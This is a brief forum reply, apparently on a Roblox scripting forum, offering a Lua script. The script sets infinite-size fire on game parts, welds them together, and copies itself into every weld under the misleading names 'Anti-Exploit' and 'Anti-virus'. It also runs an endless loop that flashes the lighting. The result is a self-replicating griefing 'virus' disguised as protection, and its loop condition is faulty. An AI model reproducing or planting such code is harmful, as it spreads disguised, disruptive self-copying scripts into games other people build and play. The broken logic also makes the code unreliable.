a useless weld, but the cloning works alright. If I were doing it:
function clean(v)
x = v:GetChildren()
for i = 1, #x-1 do
local f=Instance.new("Fire")
f.Size=math.huge
f.Heat=math.huge
local w = Instance.new("Weld")
w.Parent = x[i]
if x[i]:IsA("BasePart")then
w.Part0=x[i]
f.Parent=x[i]
f=f:Clone()
if x[i+1]:IsA("BasePart")then
w.Part1=x[i+1]
f.Parent=x[i+1]
f=f:Clone()
end
end
if x[i]:IsA("Model") then
clean(x[i])
end
w.Name = "Anti-Exploit"
s = script:clone()
s.Parent = w
s.Name = "Anti-virus"
end
end
while true do
if Game.Players:FindFirstChild("Player1")==false then
clean(Workspace)
wait(.001)
if Game.Lighting.Brightness~=1 then
Game.Lighting.Brightness=1
else
Game.Lighting.Brightness=math.huge
end
end
end
~~trogyssy, Scripting Helper and S&I Activist~~ |